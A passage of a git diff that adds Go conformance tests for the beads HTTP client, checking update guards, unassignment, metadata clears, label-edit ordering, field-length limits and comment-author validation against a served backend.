TestServedLifecycleUpdatePersistentPreservesUnversionedClass(t *testing.T) { + skipKnownDivergence(t, "W-IssuePatch.Persistence", parkBead, + "the case restates an unversioned row as persistent, and the wire publishes no persistence member "+ + "on either patch body; the client refuses it rather than reporting a no-op it did not ask the server for") + conformance.RunLifecycleUpdatePersistentPreservesUnversionedClass(t, t.Context(), newServedUpdateFixture(t, "hlpu")) +} + +// TestServedLifecycleUpdateProvenanceLabelsHistory is the update-side twin of +// the reopen park above: the whole purpose of the field is the LABEL on the +// history entry, and the server writes its own, so dropping it would leave the +// entry naming the server's surface while the caller believed it named theirs. +func TestServedLifecycleUpdateProvenanceLabelsHistory(t *testing.T) { + skipKnownDivergence(t, "W-UpdateRequest.Provenance", parkBead, + "updateIssue publishes no provenance member and the server writes its own label; the field's whole "+ + "purpose is that label, so refusing it is refusing the request rather than narrowing it") + conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, t.Context(), newServedUpdateFixture(t, "hlpv")) +} + +func TestServedLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t *testing.T) { + conformance.RunLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t, t.Context(), newServedUpdateFixture(t, "hluu")) +} + +func TestServedLifecycleUpdateRefusalWritesNoMemberOfThePatch(t *testing.T) { + conformance.RunLifecycleUpdateRefusalWritesNoMemberOfThePatch(t, t.Context(), newServedUpdateFixture(t, "hlur")) +} + +// The two CONDITIONAL-GUARD contracts RUN, and their park is the one client +// wave ga-7i6by retired: both assign through `patch.assignee` partway in, which +// the client refused until that wave carried the member. Nothing about the +// guards themselves changed — they were sent from wave ga-jbuyf — so what these +// two add over the bespoke pin below is the state the parks could not reach +// without seeding it out of band. + +func TestServedLifecycleUpdateConditionalGuardsGateOrdinaryEdits(t *testing.T) { + conformance.RunLifecycleUpdateConditionalGuardsGateOrdinaryEdits(t, t.Context(), newServedUpdateFixture(t, "hlcg")) +} + +func TestServedLifecycleUpdateConditionalGuardAcceptsRespelledAssignee(t *testing.T) { + conformance.RunLifecycleUpdateConditionalGuardAcceptsRespelledAssignee(t, t.Context(), newServedUpdateFixture(t, "hlcq")) +} + +// TestServedLifecycleUpdateMetadataPatchOrdersMergeSetUnset is the metadata +// member's own contract, and the case that makes the algebra falsifiable: every +// key in it collides across merge, set and unset, so a client that reordered the +// arms — or dropped one — produces a different document rather than a plausible +// one. Its second half drives the replace-plus-incremental contradiction, which +// both the wire and the role refuse as a validation failure writing nothing. +func TestServedLifecycleUpdateMetadataPatchOrdersMergeSetUnset(t *testing.T) { + conformance.RunLifecycleUpdateMetadataPatchOrdersMergeSetUnset(t, t.Context(), newServedUpdateFixture(t, "hlmo")) +} + +// The two REPARENT contracts, which are the reason `parent_id` is a member +// rather than a pair of dependency edits: it replaces every parent atomically, +// and the two-call spelling leaves the issue parentless if the second call +// fails. +func TestServedLifecycleUpdateParentIDReplacesTheParentEdge(t *testing.T) { + conformance.RunLifecycleUpdateParentIDReplacesTheParentEdge(t, t.Context(), newServedUpdateFixture(t, "hlpe")) +} + +func TestServedLifecycleUpdateParentIDReplacesEveryParent(t *testing.T) { + conformance.RunLifecycleUpdateParentIDReplacesEveryParent(t, t.Context(), newServedUpdateFixture(t, "hlpa")) +} + +// TestServedUpdateGuardTrioGatesTheEdit is the guard trio's end-to-end pin. It +// was written because the two contracts above were parked on a PATCH member +// rather than on a precondition; it stays now that they run, because it drives +// each guard in BOTH polarities against a row whose holder was seeded out of +// band, which is the arm a case that patches its way into the state cannot have. +// +// Every arm asserts both halves: a satisfied guard applies the edit, and a stale +// one refuses with the sentinel the embedded store returns for the same miss and +// writes NOTHING. +func TestServedUpdateGuardTrioGatesTheEdit(t *testing.T) { + env := newServedEnv(t, "hlgt") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const id = "hlgt-guarded" + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Assignee: "holder", + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + + edit := func(priority int) issueops.UpdateRequest { + return issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Priority: issueops.Field[int]{Set: true, Value: priority}}, + } + } + priority := func() int { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + return row.Priority + } + version := func() int64 { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + if row.RowVersion == 0 { + t.Fatalf("%s carries RowVersion 0, so no version guard below could fail: the token is the subject", id) + } + return row.RowVersion + } + + // STATUS, both polarities. It is the readable guard — every read of this + // surface carries the status — so a caller can guard a transition with no + // token at all. + open, closed := issueops.StatusOpen, issueops.StatusClosed + satisfied := edit(1) + satisfied.ExpectedStatus = &open + if res, err := lifecycle.Update(ctx, satisfied); err != nil || !res.Changed { + t.Fatalf("edit guarded on the current status = %#v, %v; want it applied", res, err) + } + if got := priority(); got != 1 { + t.Fatalf("priority after a satisfied status guard = %d, want 1", got) + } + + stale := edit(4) + stale.ExpectedStatus = &closed + if _, err := lifecycle.Update(ctx, stale); !errors.Is(err, issueops.ErrStatusMismatch) { + t.Fatalf("edit guarded on a stale status: err = %v, want ErrStatusMismatch", err) + } + if got := priority(); got != 1 { + t.Errorf("priority after a stale status guard = %d, want 1 — the refusal wrote nothing", got) + } + + // ASSIGNEE, both polarities, including the EMPTY guard that says "only if + // nobody holds it" — which is stale here, because the seed named a holder. + holder, unassigned := "holder", "" + onHolder := edit(2) + onHolder.ExpectedAssignee = &holder + if res, err := lifecycle.Update(ctx, onHolder); err != nil || !res.Changed { + t.Fatalf("edit guarded on the current holder = %#v, %v; want it applied", res, err) + } + if got := priority(); got != 2 { + t.Fatalf("priority after a satisfied assignee guard = %d, want 2", got) + } + + onNobody := edit(4) + onNobody.ExpectedAssignee = &unassigned + if _, err := lifecycle.Update(ctx, onNobody); !errors.Is(err, issueops.ErrAssigneeMismatch) { + t.Fatalf("edit guarded on unassigned against a held row: err = %v, want ErrAssigneeMismatch", err) + } + if got := priority(); got != 2 { + t.Errorf("priority after a stale assignee guard = %d, want 2 — the refusal wrote nothing", got) + } + + // VERSION, both polarities. The satisfied leg hands back the row's own token, + // which is the compare-and-set a caller that already read the row performs; + // the stale leg is a token no writer could have produced. + current := version() + onVersion := edit(3) + onVersion.ExpectedVersion = ¤t + if res, err := lifecycle.Update(ctx, onVersion); err != nil || !res.Changed { + t.Fatalf("edit guarded on the row's current version = %#v, %v; want it applied", res, err) + } + if got := priority(); got != 3 { + t.Fatalf("priority after a satisfied version guard = %d, want 3", got) + } + + after := version() + staleVersion := after + 1 + onStale := edit(4) + onStale.ExpectedVersion = &staleVersion + if _, err := lifecycle.Update(ctx, onStale); !errors.Is(err, issueops.ErrVersionMismatch) { + t.Fatalf("edit guarded on a stale version: err = %v, want ErrVersionMismatch", err) + } + if got := priority(); got != 3 { + t.Errorf("priority after a stale version guard = %d, want 3 — the refusal wrote nothing", got) + } + // The refusal wrote nothing AT ALL, the token included: a guard that + // reminted row_lock on its way to refusing would make the caller's next + // read-and-retry lose a second time for a reason it could never see. + if got := version(); got != after { + t.Errorf("row version after a refused guarded update = %d, want %d unchanged", got, after) + } + + // ALL THREE AT ONCE, with the LAST one stale. Every refusal above puts the + // stale guard alone, so a body that stopped at the first present + // precondition would answer all of them correctly and let this one through. + together := edit(4) + together.ExpectedVersion = &after + together.ExpectedAssignee = &holder + together.ExpectedStatus = &closed + if _, err := lifecycle.Update(ctx, together); !errors.Is(err, issueops.ErrStatusMismatch) { + t.Fatalf("edit with two holding guards and a stale status: err = %v, want ErrStatusMismatch", err) + } + if got := priority(); got != 3 { + t.Errorf("priority after a stale guard behind two holding ones = %d, want 3", got) + } +} + +// TestServedUpdateUnassignsThroughTheEmptyAssignee is the empty string's own +// end-to-end proof, and it exists because nothing else was one. +// +// The client unit pins that "" reaches the patch document and the role contract +// pins that an unassign clears the holder, but until this ran NO case drove +// Assignee{Set: true, Value: ""} client → bd serve → role and read the row back: +// the two halves were proved on opposite sides of a wire that has to carry a +// PRESENT EMPTY member for either to matter. `parent_id`, whose empty string +// means the same kind of thing, got both polarities served through its own +// contracts; this member had no contract to inherit one from, because the role +// tier reaches an unassign only through cases that seed with Claim. +// +// THE SECOND ARM IS THE FALSIFIABLE ONE. A client that skipped the member +// because its value was empty fails the first arm LOUDLY — the document would +// be empty and the request would never dial — but that is not the shape the +// silent-no-edit trap takes. The trap is an unassign travelling BESIDE another +// edit: the other edit lands, the server answers 200, and only a read of the +// assignee can tell that the part the caller cared about was dropped. +func TestServedUpdateUnassignsThroughTheEmptyAssignee(t *testing.T) { + env := newServedEnv(t, "hlua") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + seed := func(id, holder string) { + t.Helper() + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Assignee: holder, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + assignee := func(id string) string { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + return row.Assignee + } + + t.Run("alone", func(t *testing.T) { + const id = "hlua-alone" + seed(id, "holder") + + unassign := issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Assignee: issueops.Field[string]{Set: true}}, + } + res, err := lifecycle.Update(ctx, unassign) + if err != nil { + t.Fatalf("unassign %s: %v", id, err) + } + if !res.Changed { + t.Error("the unassign reported Changed = false; it moved the holder off the row") + } + if got := assignee(id); got != "" { + t.Fatalf("%s is still held by %q; the empty assignee did not reach the row", id, got) + } + // The result is the post-state snapshot, so it has to agree with the + // row rather than echo the request. + if res.Issue == nil || res.Issue.Assignee != "" { + t.Errorf("the result still reports an assignee: %#v", res.Issue) + } + + // A SECOND unassign is a same-value patch, not a second edit: the + // server answers 200 with changed:false and touches nothing, which is + // the idempotence every other member on this surface promises. + repeat, err := lifecycle.Update(ctx, unassign) + if err != nil { + t.Fatalf("re-unassign %s: %v", id, err) + } + if repeat.Changed { + t.Error("re-unassigning an unheld row reported Changed = true; it restated the current value") + } + if got := assignee(id); got != "" { + t.Errorf("%s picked an assignee back up: %q", id, got) + } + }) + + t.Run("beside another edit", func(t *testing.T) { + const id = "hlua-beside" + seed(id, "holder") + + res, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{ + Assignee: issueops.Field[string]{Set: true}, + Priority: issueops.Field[int]{Set: true, Value: 0}, + }, + }) + if err != nil { + t.Fatalf("unassign %s beside a priority edit: %v", id, err) + } + if !res.Changed { + t.Error("the combined edit reported Changed = false") + } + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + // The priority is the DECOY: it lands whether or not the assignee did, + // so a dropped unassign leaves a request that looks entirely successful. + if row.Priority != 0 { + t.Errorf("%s priority = %d, want 0", id, row.Priority) + } + if row.Assignee != "" { + t.Fatalf("%s is still held by %q while the priority edit beside it landed — "+ + "this is the silent no-edit the empty string exists to prevent", id, row.Assignee) + } + }) +} + +// TestServedUpdateMetadataClearAgreesWithALocalClear is the CLEAR's end-to-end +// proof, and it is a DIFFERENTIAL rather than an assertion about bytes. +// +// The clear is the one state the wire's own struct cannot spell — `omitempty` +// omits a set-but-empty replacement — so the client substitutes the empty +// document, which is what the role's own ApplyMetadataPatch substitutes before +// it writes. Both substitutions were verified by reading the two sources; what +// no case did was run the request through the wire and compare the row it left +// against the row the SAME request leaves locally. A substitution that was wrong +// in the same way on both sides would satisfy a golden value and fail this. +func TestServedUpdateMetadataClearAgreesWithALocalClear(t *testing.T) { + env := newServedEnv(t, "hlmc") + ctx := t.Context() + remote, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + // The reference store's OWN role, which is what a local workspace runs. It + // is the control arm, so it is deliberately not the subject. + local, err := env.reference.IssueLifecycle() + if err != nil { + t.Fatalf("reference IssueLifecycle(): %v", err) + } + + const seeded = `{"gc.lease":"win44","phase":"held"}` + clear := func(id string, through issueops.Lifecycle) *types.Issue { + t.Helper() + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Metadata: json.RawMessage(seeded), + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + res, err := through.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Metadata: issueops.MetadataPatch{ + // SET with no bytes: the clear as the role spells it. + Replace: issueops.Field[json.RawMessage]{Set: true}, + }}, + }) + if err != nil { + t.Fatalf("clear the metadata of %s: %v", id, err) + } + if !res.Changed { + t.Errorf("clearing %s reported Changed = false; the row held %s", id, seeded) + } + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + return row + } + + overWire := clear("hlmc-remote", remote) + locally := clear("hlmc-local", local) + + // Compared as DOCUMENTS, because absent, empty and `{}` are one value on + // the way out and the role says so — a byte comparison would fail on a + // difference no reader of this plane can observe. + document := func(label string, row *types.Issue) any { + t.Helper() + raw := row.Metadata + if len(raw) == 0 { + raw = json.RawMessage(`{}`) + } + var out any + if err := json.Unmarshal(raw, &out); err != nil { + t.Fatalf("%s metadata %s: %v", label, raw, err) + } + return out + } + got, want := document("cleared over the wire", overWire), document("cleared locally", locally) + if !reflect.DeepEqual(got, want) { + t.Errorf("a CLEAR through the client left %s; the same request run locally left %s", + overWire.Metadata, locally.Metadata) + } + // And the clear really cleared: a differential alone would pass on two + // backends that both did nothing. + if !reflect.DeepEqual(got, map[string]any{}) { + t.Errorf("the cleared row still carries %s", overWire.Metadata) + } +} + +// TestServedUpdateAppliesTheOrderedLabelEditServerSide is the incremental label +// edit end to end, and it is a bespoke case because no contract covers it here. +// +// The two role contracts that pin the algebra — RunIssueOperationsUpdateLabelPatchOrdering +// and its value-rules sibling — belong to the IssueOperations family, which this +// leg does not wire at all, so wiring add_labels and remove_labels retires a +// ledger row (W-IssuePatch.Labels) without adopting a single case. A retired +// refusal with no positive assertion behind it is exactly the shape that lets a +// member stop being refused and never start being sent. +// +// WHAT ONLY A SERVER CAN SAY is the ORDER. The client sends three flat members +// and the server assembles them into ONE issueops.LabelPatch, applying replace, +// then add, then remove — so REMOVAL WINS where a label appears in more than +// one. That algebra is never this client's to arrange, and the only way to know +// the three members reach one patch rather than three sequential edits is to +// send a request whose arms CONTRADICT each other and read the answer. +// +// The concurrent-writer case is the reason the pair exists at all: the add is +// read back against a label another writer added between the seed and the edit, +// which a read-modify-write onto the replace-only member would have dropped. +func TestServedUpdateAppliesTheOrderedLabelEditServerSide(t *testing.T) { + env := newServedEnv(t, "hlbl") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + labels := func(id string) []string { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + out := append([]string(nil), row.Labels...) + sort.Strings(out) + return out + } + seed := func(id string, initial ...string) { + t.Helper() + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Labels: initial, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + t.Run("an incremental add keeps what another writer added", func(t *testing.T) { + const id = "hlbl-add" + seed(id, "original") + // The concurrent writer, out of band: a client composing this edit from a + // read and a whole-set write would have read the set BEFORE this landed. + if err := env.exec(ctx, []conformance.SQLStatement{ + {Query: "INSERT INTO labels (issue_id, label) VALUES (?, ?)", Args: []any{id, "meanwhile"}}, + }); err != nil { + t.Fatalf("seed the concurrent label: %v", err) + } + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Add: []string{"mine"}}}, + }); err != nil { + t.Fatalf("add a label to %s: %v", id, err) + } + if got, want := labels(id), []string{"meanwhile", "mine", "original"}; !slices.Equal(got, want) { + t.Errorf("%s carries %v, want %v: an incremental add adds, and drops nothing it did not name", id, got, want) + } + }) + + t.Run("an incremental remove leaves the rest alone", func(t *testing.T) { + const id = "hlbl-remove" + seed(id, "keep", "drop") + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Remove: []string{"drop", "never-carried"}}}, + }); err != nil { + t.Fatalf("remove a label from %s: %v", id, err) + } + if got, want := labels(id), []string{"keep"}; !slices.Equal(got, want) { + t.Errorf("%s carries %v, want %v: removing a label the row does not carry changes nothing and is not an error", id, got, want) + } + }) + + t.Run("removal wins over replace and add in one request", func(t *testing.T) { + const id = "hlbl-order" + seed(id, "stale") + + // Every arm names `contested`, which is what makes the order OBSERVABLE: + // replace-then-add-then-remove leaves it off, and any other order leaves + // it on. `survivor` is the control — added and never removed — so a + // request the server dropped whole cannot pass. + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true, Value: []string{"contested", "base"}}, + Add: []string{"contested", "survivor"}, + Remove: []string{"contested"}, + }}, + }); err != nil { + t.Fatalf("apply the ordered edit to %s: %v", id, err) + } + if got, want := labels(id), []string{"base", "survivor"}; !slices.Equal(got, want) { + t.Errorf("%s carries %v, want %v: the three members are ONE patch applied replace, add, remove — "+ + "`contested` is named by all three and removal wins, and `stale` is gone because the replace ran first", id, got, want) + } + }) +} + +// TestServedUpdateFieldLengthBoundsAreTheServersAndNotThisClients is +// L-update-fieldlen's pin, and it RUNS. +// +// The bound is the same one on both sides — types.MaxFieldLen, checked with the +// same types.CheckFieldLen — and that is what makes the divergence a pure +// CLASSIFICATION loss rather than a difference about what may be stored. The +// operation applies it at the edge, before the role, and spells the refusal as +// the `invalid_argument`/`invalid_value` pair every malformed member on the +// patch earns, so nothing on the wire tells "too long" from "not a status" and +// reconstructing ErrFieldTooLong would misclassify every other refusal of the +// same member. +// +// THE CEILING IS ASSERTED FIRST, for the reason the config-bounds pin gives: +// without it the case would pass against a client that refused every label, and +// what makes this a bound rather than a blanket is that exactly MaxFieldLen +// characters land. +// +// The reference store is driven through its OWN Lifecycle role so "the two legs +// differ" is OBSERVED rather than asserted — and so the day the two agree, this +// fails and the row retires rather than outliving its reason. +func TestServedUpdateFieldLengthBoundsAreTheServersAndNotThisClients(t *testing.T) { + env := newServedEnv(t, "hlfl") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + reference, err := env.reference.IssueLifecycle() + if err != nil { + t.Fatalf("the reference store's IssueLifecycle(): %v", err) + } + + const subject, control = "hlfl-subject", "hlfl-control" + seedServedIssue(t, ctx, env, subject, types.StatusOpen) + seedServedIssue(t, ctx, env, control, types.StatusOpen) + + atCeiling := strings.Repeat("x", types.MaxFieldLen) + past := strings.Repeat("x", types.MaxFieldLen+1) + addLabel := func(id, label string) issueops.UpdateRequest { + return issueops.UpdateRequest{Actor: "writer", IssueID: id, Patch: issueops.IssuePatch{ + Labels: issueops.LabelPatch{Add: []string{label}}, + }} + } + + if _, err := lifecycle.Update(ctx, addLabel(subject, atCeiling)); err != nil { + t.Fatalf("a label of exactly %d characters was refused: %v", types.MaxFieldLen, err) + } + + overlong := func(t *testing.T, err error) { + t.Helper() + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("a member one character past the column = %v, want ErrValidation carried back from the operation's 400", err) + } + if errors.Is(err, types.ErrFieldTooLong) { + t.Error("the refusal carries ErrFieldTooLong; L-update-fieldlen says the wire's invalid_value cannot express it — retire the row rather than the assertion") + } + } + _, err = lifecycle.Update(ctx, addLabel(subject, past)) + overlong(t, err) + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "writer", IssueID: subject, Patch: issueops.IssuePatch{ + Title: issueops.Field[string]{Set: true, Value: past}, + }}) + overlong(t, err) + + // Nothing landed. A column that truncates silently is the failure this + // bound exists to prevent, so the check is for a row with the prefix rather + // than for the value itself. + var truncated int + if err := env.queryScalar(ctx, + "SELECT COUNT(*) FROM labels WHERE issue_id = ? AND label = ?", []any{subject, past}, &truncated); err != nil { + t.Fatalf("look for the refused label on %s: %v", subject, err) + } + if truncated != 0 { + t.Errorf("%s carries %d row(s) for the refused label, want none", subject, truncated) + } + + // The other leg, through its own role: the same request is ErrFieldTooLong + // there. The day it stops being, the two legs agree and the row is done. + if _, refErr := reference.Update(ctx, addLabel(control, past)); !errors.Is(refErr, types.ErrFieldTooLong) { + t.Errorf("the reference store answered %v for the same over-long label, want ErrFieldTooLong; "+ + "if the two legs now classify it alike, L-update-fieldlen has retired and this pin should go with it", refErr) + } +} diff --git a/internal/httpclient/served_commenter_test.go b/internal/httpclient/served_commenter_test.go new file mode 100644 index 000000000..0449f72dc --- /dev/null +++ b/internal/httpclient/served_commenter_test.go @@ -0,0 +1,196 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_commenter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Commenter contract, run through the http client against a real bd serve. +// +// NOTHING IS PARKED HERE: the request has three members, one of which is the +// path, and the answer has one, so there is no filter to drop and no shape for a +// refusal to hide in — the whole thirteen-case tier runs. +// +// THAT IS NOT THE SAME AS "NO DIVERGENCE", and one lives on the AUTHOR. The +// operation applies the `actor` rules to it — trim, then refuse a control rune — +// and passes the trimmed value on, while the role itself only checks the field +// is non-empty and stores what it was given. So the same request stores a +// different value on the two legs, and a value one leg stores the other refuses. +// No contract case reaches it, which is exactly why it needs a pin of its own: +// L-comment-author, asserted below by +// TestServedCommentAuthorTakesTheServersActorRule. +// +// TWO OF THE THIRTEEN ARE WHY THIS TIER EXISTS RATHER THAN A UNIT TEST. +// +// - THE WISP PLANE. `CommentOnAWispLandsOnTheWispThread` writes through the +// client to an EPHEMERAL anchor and reads the row back out of wisp_comments +// raw. Nothing above the storage seam picks that plane: the operation +// resolves the anchor inside the transaction it writes in, so the only way to +// know the comment landed on the ephemeral thread is to look at the ephemeral +// table — which a client cannot do and this harness can. +// - THE ABSENT DURABLE TRACE. `RecordsExactlyOneHistoryEntry` measures the +// version history around the call: exactly one entry for a durable comment +// and exactly ZERO for an ephemeral one, because the wisp tables are +// dolt-ignored. That is a fact about what the server did NOT write, and no +// answer this client receives carries it. +// +// THE 1 MiB BOUND IS ONE NUMBER ON BOTH PLANES ONLY BECAUSE OF MIGRATION 0065, +// which widened wisp_comments.text from TEXT's 65535 bytes to match the durable +// column. Before it, this operation — which resolves its anchor across both +// planes — put a caller under a bound that depended on which plane its id +// happened to name, with nothing above the storage seam able to say which. There +// is no client-side length check to add; the fix was the column, and the cases +// below exercise both planes through the same body. +// +// SEEDING STAYS ON THE REFERENCE STORE even though this client now HAS a +// Commenter. That is the harness rule and it bites hardest exactly here: a +// Commenter contract whose preconditions were seeded through the Commenter under +// test would prove only that the client agrees with itself. + +func newServedCommenterFixture(t *testing.T, prefix string) conformance.CommenterFixture { + t.Helper() + env := newServedEnv(t, prefix) + commenter, err := env.subject.Commenter() + if err != nil { + t.Fatalf("Commenter(): %v", err) + } + return conformance.CommenterFixture{ + IssuePrefix: env.prefix, + Commenter: commenter, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + SeedCommentAt: env.seedCommentAt, + } +} + +func TestServedCommenterContract(t *testing.T) { + fixture := newServedCommenterFixture(t, "hcm") + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.CommenterFixture) + }{ + {"StoresTextVerbatim", conformance.RunCommenterStoresTextVerbatim}, + {"ResultMirrorsTheStoredRow", conformance.RunCommenterResultMirrorsTheStoredRow}, + {"AdvancesALiveStampPastTheThreadsNewestComment", conformance.RunCommenterAdvancesALiveStampPastTheThreadsNewestComment}, + {"TakesTheClockWhenTheThreadIsBehindIt", conformance.RunCommenterTakesTheClockWhenTheThreadIsBehindIt}, + {"CommentOnAWispLandsOnTheWispThread", conformance.RunCommenterCommentOnAWispLandsOnTheWispThread}, + {"RefusesAnIDOnNeitherPlane", conformance.RunCommenterRefusesAnIDOnNeitherPlane}, + {"RefusesAnEmptyIssueID", conformance.RunCommenterRefusesAnEmptyIssueID}, + {"DoesNotResolvePrefixes", conformance.RunCommenterDoesNotResolvePrefixes}, + {"RecordsExactlyOneHistoryEntry", conformance.RunCommenterRecordsExactlyOneHistoryEntry}, + {"LeavesTheAnchorIssueUntouched", conformance.RunCommenterLeavesTheAnchorIssueUntouched}, + {"RefusesBlankText", conformance.RunCommenterRefusesBlankText}, + {"RefusesAnEmptyAuthor", conformance.RunCommenterRefusesAnEmptyAuthor}, + {"LeavesTheCallersRequestAlone", conformance.RunCommenterLeavesTheCallersRequestAlone}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +// TestServedCommentAuthorTakesTheServersActorRule is L-comment-author's pin, and +// it RUNS. +// +// BOTH HALVES, because they are one rule with two consequences and a pin that +// checked one would let the other rot. The stored half is read RAW out of the +// comments table rather than off the result: a body that trimmed on the way in +// and echoed the caller's own string back would pass a result-only check, which +// is the same trap the contract's own verbatim-text case is written around. +// +// The premise is asserted before the divergence is: the reference store is asked +// the SAME question through its own Commenter, so "the two legs differ" is a +// measurement rather than an assumption. Without it a server that stopped +// trimming and a role that started would both read as this test passing. +func TestServedCommentAuthorTakesTheServersActorRule(t *testing.T) { + env := newServedEnv(t, "hcma") + commenter, err := env.subject.Commenter() + if err != nil { + t.Fatalf("Commenter(): %v", err) + } + reference, err := env.reference.Commenter() + if err != nil { + t.Fatalf("reference Commenter(): %v", err) + } + ctx := t.Context() + + served, local := env.prefix+"-served", env.prefix+"-local" + for _, id := range []string{served, local} { + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: "author rule", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + // ── The stored value ─────────────────────────────────────────────────── + const padded = " Ada Lovelace " + const trimmed = "Ada Lovelace" + + if _, err := commenter.AddComment(ctx, issueops.AddCommentRequest{ + Author: padded, IssueID: served, Text: "over the wire", + }); err != nil { + t.Fatalf("AddComment over http: %v", err) + } + if got := servedCommentAuthor(t, ctx, env, served); got != trimmed { + t.Errorf("the http leg stored author %q, want %q — the operation applies the actor rule's trim (L-comment-author)", got, trimmed) + } + + if _, err := reference.AddComment(ctx, issueops.AddCommentRequest{ + Author: padded, IssueID: local, Text: "through the reference role", + }); err != nil { + t.Fatalf("AddComment through the reference store: %v", err) + } + if got := servedCommentAuthor(t, ctx, env, local); got != padded { + t.Errorf("the local leg stored author %q, want %q verbatim; if this leg started trimming too, "+ + "L-comment-author has retired and the row should go rather than this test being relaxed", got, padded) + } + + // ── The refusal ──────────────────────────────────────────────────────── + // + // A C1 introducer, which is the value the server's rule exists for: it lands + // in a column every renderer of the thread prints. + const escaping = "ada\x1b[31m" + + err = func() error { + _, err := commenter.AddComment(ctx, issueops.AddCommentRequest{ + Author: escaping, IssueID: served, Text: "refused", + }) + return err + }() + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("AddComment with a control rune over http = %v, want ErrValidation", err) + } + + if _, err := reference.AddComment(ctx, issueops.AddCommentRequest{ + Author: escaping, IssueID: local, Text: "stored", + }); err != nil { + t.Fatalf("AddComment with a control rune through the reference store = %v, want it STORED; "+ + "if the role started refusing this too, L-comment-author has retired", err) + } +} + +// servedCommentAuthor reads the newest comment's author column raw, which is the +// only place the stored value can be observed: the role's own result echoes what +// the write produced, and this case is about what LANDED. +func servedCommentAuthor(t *testing.T, ctx context.Context, env *servedEnv, issueID string) string { + t.Helper() + var author string + if err := env.queryScalar(ctx, + "SELECT author FROM comments WHERE issue_id = ? ORDER BY id DESC LIMIT 1", []any{issueID}, + &author); err != nil { + t.Fatalf("read the stored author for %s: %v", issueID, err) + } + return author +} diff --git a/internal/httpclient/served_config_test.go b/internal/httpclient/served_config_test.go new file mode 100644 index 000000000..3df9eacfe --- /dev/null +++ b/internal/httpclient/served_config_test.go @@ -0,0 +1,140 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_config_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The WorkspaceConfig contract against the served surface — the WHOLE tier, +// reads and writes, now that #5596's two verbs are wired. +// +// IT USED TO BE HAND-WRITTEN, and the reason it was is worth recording rather +// than deleting: every case in the shared suite writes through the role, this +// backend's writes refused, so adopting the tier would have parked twenty-one +// cases to run four. What stood in its place asserted the subset a refusing +// backend could reach. Client wave ga-jpywb wires SetSetting and UnsetSetting, +// so the suite is adoptable whole and the stand-in is gone — it asserted a +// strict subset of what runs below, which is the retirement condition a +// stand-in should have. +// +// ONE ENVIRONMENT FOR THE WHOLE SUITE, and here that is a correctness +// requirement rather 